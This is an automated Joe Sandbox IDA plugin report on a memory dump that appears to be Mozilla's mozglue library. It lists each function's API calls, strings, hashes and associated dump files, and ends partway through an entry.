Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 283ef5184efaabd7e9295d594b53537a738f7fdd359be8014a347a129cda725e
Instruction ID: 435c0f18ef82ece6317ecd72f7de30c64ec7d8bdd60797f2dd9f792f10854a34
Opcode Fuzzy Hash: 283ef5184efaabd7e9295d594b53537a738f7fdd359be8014a347a129cda725e
Instruction Fuzzy Hash: FA417EBAA00216CFCB14DFA9D88095EBBF6FF89314B5544AADA45A7321D775FC00CB90

Function 6BF66590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6BF5FA80: GetCurrentThreadId.KERNEL32 ref: 6BF5FA8D
Part of subcall function 6BF5FA80: AcquireSRWLockExclusive.KERNEL32(6BFAF448), ref: 6BF5FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF66727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6BF667C8

Part of subcall function 6BF74290: memcpy.VCRUNTIME140(?,?,6BF82003,6BF80AD9,?,6BF80AD9,00000000,?,6BF80AD9,?,00000004,?,6BF81A62,?,6BF82003,?), ref: 6BF742C4

Strings

data, xrefs: 6BF66593

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 158f6df5f620c790ee543381ada0a14d66934c53cfbdac8d38af104706b263d7
Instruction ID: 88077db46134463ad77037bc26d61dfdabeb3e9b17a1335555171e2063f32be1
Opcode Fuzzy Hash: 158f6df5f620c790ee543381ada0a14d66934c53cfbdac8d38af104706b263d7
Instruction Fuzzy Hash: 45D1EE76A043419FD724DF34D851B9EB7E6AFC5344F10492EE489C73A1EB78A805CB92

Function 6BF6CA20 Relevance: 9.1, APIs: 6, Instructions: 82timesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001), ref: 6BF6CA57
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF6CA69
Sleep.KERNEL32 ref: 6BF6CADD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF6CAEA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF6CAF5
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6BF6CB19

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Time$Now@SleepStamp@mozilla@@V12@_$BaseDurationFromMilliseconds@PlatformStampTicksUtils@mozilla@@V01@@Value@mozilla@@
String ID:
API String ID: 432163150-0
Opcode ID: 82070abd075d9ddc0b074b5d9f4baa709c3f3aa8b5f467b6dd1a209043f8a95d
Instruction ID: ab46763695599da5d7fe12ba97d85abbe71713dc18978585e1f70b75aa56019b
Opcode Fuzzy Hash: 82070abd075d9ddc0b074b5d9f4baa709c3f3aa8b5f467b6dd1a209043f8a95d
Instruction Fuzzy Hash: C1215533A146088BC709AF38885156FFBB9FFC6349F408628E885A71A1FF74C5998781

Function 6BF7C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6BF7C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6BF7C842

Part of subcall function 6BF7CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6BF9B5EB,00000000), ref: 6BF7CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6BF7C863
std::_Facet_Register.LIBCPMT ref: 6BF7C875

Part of subcall function 6BF5B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6BF9B636,?), ref: 6BF5B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6BF7C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF7C8BC

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: dc48173f9b1ed54f070a5213879784a46f4f51f03640adc98281f164e55da303
Instruction ID: b46ca270c36758ceca1132b7c8f15c4dd6cf8c4b20db06953dc71abc138f8436
Opcode Fuzzy Hash: dc48173f9b1ed54f070a5213879784a46f4f51f03640adc98281f164e55da303
Instruction Fuzzy Hash: AE11B672A00209DFCF04DFB4D895AAEBBB4EF89351F000479E50697361DB34D918CB91

Function 6BF2EB90 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000104), ref: 6BF2EBB5

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6BF5D7F3), ref: 6BF2EBC3
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6BF5D7F3), ref: 6BF2EBD6
free.MOZGLUE(?,?,?,?,?,?,6BF5D7F3), ref: 6BF2EBF6
free.MOZGLUE(00000000,?,?,?,?,?,?,6BF5D7F3), ref: 6BF2EC0E

Part of subcall function 6BF45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6BF45EDB
Part of subcall function 6BF45E90: memset.VCRUNTIME140(6BF87765,000000E5,55CCCCCC), ref: 6BF45F27
Part of subcall function 6BF45E90: LeaveCriticalSection.KERNEL32(?), ref: 6BF45FB2

GetLastError.KERNEL32(?,?,?,?,?,?,6BF5D7F3), ref: 6BF2EC1A

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSectionfreememset$EnterErrorFileLastLeaveModuleNamemallocmoz_xmalloc
String ID:
API String ID: 2948488910-0
Opcode ID: cd7e1a860a81644333d95a298b01a4550a08d41d17f5656a8b68c1232d4531f0
Instruction ID: 251bbe142c874a79393cab68da703f8d13bc3dcfb6dd6b6034b695e84736f60b
Opcode Fuzzy Hash: cd7e1a860a81644333d95a298b01a4550a08d41d17f5656a8b68c1232d4531f0
Instruction Fuzzy Hash: D0110CB7E042555BEB009AF8EC4576F7AA89F02B18F240524E845DB351E379DC0487F2

Function 6BF5D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6BF2EB57,?,?,?,?,?,?,?,?,?), ref: 6BF5D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6BF2EB57,?), ref: 6BF5D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6BF2EB57,?), ref: 6BF5D673
free.MOZGLUE(?), ref: 6BF5D888

Strings

|Enabled, xrefs: 6BF5D81E

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: a06c1453ccbaa73aadaf4bf73fb05973b36058f721d3206c2f2be5b262c99c96
Instruction ID: d08282a6cdc0edfd41b49e907bcd7dbab3ebfe58a6c70ef9865caea627ec9f46
Opcode Fuzzy Hash: a06c1453ccbaa73aadaf4bf73fb05973b36058f721d3206c2f2be5b262c99c96
Instruction Fuzzy Hash: EFA14677A01315CFDB14CF68C490BAEBBF1AF19314F14809CD899AB362C739A855CBA1

Function 6BF70180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6BF70270
GetCurrentThreadId.KERNEL32 ref: 6BF702E9
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF702F6
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF7033A

Strings

about:blank, xrefs: 6BF7020F

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: 0e352a9fdcc982afec8e8d9f483728ac8ef57d49708053635d6341f879a0eb2a
Instruction ID: 2d0468e5dba9a1a28dbb59a643f02e3a8e49ead994c82c1a6c3a0ea5b341ca51
Opcode Fuzzy Hash: 0e352a9fdcc982afec8e8d9f483728ac8ef57d49708053635d6341f879a0eb2a
Instruction Fuzzy Hash: DB51C172A1021ACFCB14EF68D480A9EB7F5FF49324F5045AAD819AB321D776F845CB90

Function 6BF6E100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6BF6E084,00000000), ref: 6BF6E137

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6BF6E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6BF6E1E9

Part of subcall function 6BF699A0: GetCurrentThreadId.KERNEL32 ref: 6BF699C1
Part of subcall function 6BF699A0: AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF699CE
Part of subcall function 6BF699A0: ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF699F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6BF6E13F

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 4c8b20f663a73bb1da3afb706beb1f9db780e69762d7681115ba5da806683f5c
Instruction ID: a13ae597ae957b8860c8a9febc4f0dd82d95f9ba7983fdde2374b6a3f311048b
Opcode Fuzzy Hash: 4c8b20f663a73bb1da3afb706beb1f9db780e69762d7681115ba5da806683f5c
Instruction Fuzzy Hash: D43105B7A043019FD704EF68984132AF7D6EBC9388F14842DE8558B262EB798908C793

Function 6BF60210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF60222
moz_xmalloc.MOZGLUE(0000000C), ref: 6BF60231

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF6028B
RtlFreeHeap.NTDLL ref: 6BF602F7

Strings

@, xrefs: 6BF602D8

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireFreeHeapReleasemallocmoz_xmalloc
String ID: @
API String ID: 2782572024-2766056989
Opcode ID: 5bcae8e2981d4f03607e70febaa6d5366e82035558a10824b6556af8489eb3e1
Instruction ID: 7808bc0d22e900eac80e99b70078878c1c6171256165fa81e101ae988cb16436
Opcode Fuzzy Hash: 5bcae8e2981d4f03607e70febaa6d5366e82035558a10824b6556af8489eb3e1
Instruction Fuzzy Hash: 4731CEB2A002118FEB54CF68C8C0B1AB7E1FF44754B24896DD95ADB761E7B5EC01CB90

Function 6BF5F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6BF5F480

Part of subcall function 6BF2F100: LoadLibraryW.KERNEL32(shell32,?,6BF9D020), ref: 6BF2F122
Part of subcall function 6BF2F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6BF2F132

CloseHandle.KERNEL32(00000000), ref: 6BF5F555

Part of subcall function 6BF314B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6BF31248,6BF31248,?), ref: 6BF314C9
Part of subcall function 6BF314B0: memcpy.VCRUNTIME140(?,6BF31248,00000000,?,6BF31248,?), ref: 6BF314EF

Part of subcall function 6BF2EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6BF2EEE3

CreateFileW.KERNEL32 ref: 6BF5F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6BF5F523

Strings

\oleacc.dll, xrefs: 6BF5F4CB

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 8aa746f5c4c1e5ab3f60aaccd6e63981c527a0a10c250316e31d2e62a1f2c1df
Instruction ID: 14d0cb9cda8b941f9882c35ac212dcd8028e4db34814fa4046d9bd096b941ec9
Opcode Fuzzy Hash: 8aa746f5c4c1e5ab3f60aaccd6e63981c527a0a10c250316e31d2e62a1f2c1df
Instruction Fuzzy Hash: DF41D032518710DFE7649F78C984B9BB3F4AF55314F101A5CF59087260EB38E959CB92

Function 6BF6E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6E04F

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF6E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF6E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6BF6E057

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 859670b7a55fa6fe96bd45664d2471675c16f8961bf58a559c2fd3897b75bbc7
Instruction ID: 877f1691e20356908251ee59aa96bd36ce7e93cf73de666719140fc6e3199f6a
Opcode Fuzzy Hash: 859670b7a55fa6fe96bd45664d2471675c16f8961bf58a559c2fd3897b75bbc7
Instruction Fuzzy Hash: 5321C577E101099FDF04DF78CC596AEB7A5EF45248F144414EC06A7361EB39D909C7A1

Function 6BF874A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6BF87526
__Init_thread_footer.LIBCMT ref: 6BF87566
__Init_thread_footer.LIBCMT ref: 6BF87597

Strings

UnmapViewOfFile2, xrefs: 6BF87552
kernel32.dll, xrefs: 6BF87557

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 1892c4cc3b73b6cc2487c6a6de435cb93eef28d47ba5348a6062f0766630e41e
Instruction ID: e8df03fc860a90e3837d4abe8ff99d6bad434aa7636c301e429224e4f2681c38
Opcode Fuzzy Hash: 1892c4cc3b73b6cc2487c6a6de435cb93eef28d47ba5348a6062f0766630e41e
Instruction Fuzzy Hash: 5521F233B10102EBDB1C9B78C855F5D33B5EB86760B100169E819CB270D739F81587A5

Function 6BF8AB90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

SearchPathW.KERNEL32(?,6BF4BFBD,.dll,00000000,00000000,00000000,6BF4BFBD), ref: 6BF8ABBD
moz_xmalloc.MOZGLUE(00000001), ref: 6BF8ABD8

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6BF8ABEB
SearchPathW.KERNEL32(?,?,.dll,00000001,?,00000000), ref: 6BF8AC03

Strings

.dll, xrefs: 6BF8ABB4, 6BF8ABFA

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: PathSearch$mallocmemsetmoz_xmalloc
String ID: .dll
API String ID: 3063185715-2738580789
Opcode ID: fcbf72e6a042e7e3a2d24ebee54da870f6d7abb3fc17558e02cd262eb4b90430
Instruction ID: 4aab74e42f35ca8720f4c5131ce1051014d91ac68c65237a82ae300317c039e7
Opcode Fuzzy Hash: fcbf72e6a042e7e3a2d24ebee54da870f6d7abb3fc17558e02cd262eb4b90430
Instruction Fuzzy Hash: 4601D2B3A0011A6FEB005E74CC45BBFB6ADEB82250F010035FC04D3220E67A9C5447B1

Function 6BF8A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAF770,-00000001,?,6BF9E330,?,6BF4BDF7), ref: 6BF8A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6BF4BDF7), ref: 6BF8A7C2
moz_xmalloc.MOZGLUE(00000018,?,6BF4BDF7), ref: 6BF8A7E4
LeaveCriticalSection.KERNEL32(6BFAF770), ref: 6BF8A80A

Strings

accelerator.dll, xrefs: 6BF8A7BF

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 588e307fa3fee8265fee3fba615fe6bded3614d0f450afe78d968d0acabc3184
Instruction ID: c699c5dad75f2021a33d6fdc86d2ee7c9a683dc7a8590fa5e77060c5e3f4dec7
Opcode Fuzzy Hash: 588e307fa3fee8265fee3fba615fe6bded3614d0f450afe78d968d0acabc3184
Instruction Fuzzy Hash: AA014F72610304DF9F48CF15D8C5D2977F8EB8971170580AAE909CF262DB75E804CBA1

Function 6BF2F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6BF2EE51,?), ref: 6BF2F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6BF2F0C2

Strings

ole32, xrefs: 6BF2F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6BF2F0DC
Could not find CoTaskMemFree, xrefs: 6BF2F0E3

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 3667aa17d9cc06c168b2c9eeb16be584d24ac5b93cbbeffaf2f989f443321b92
Instruction ID: a2607333783b00ebaf04508d75fd2c10dbedfc0bc69ac978ce73c50491b9a055
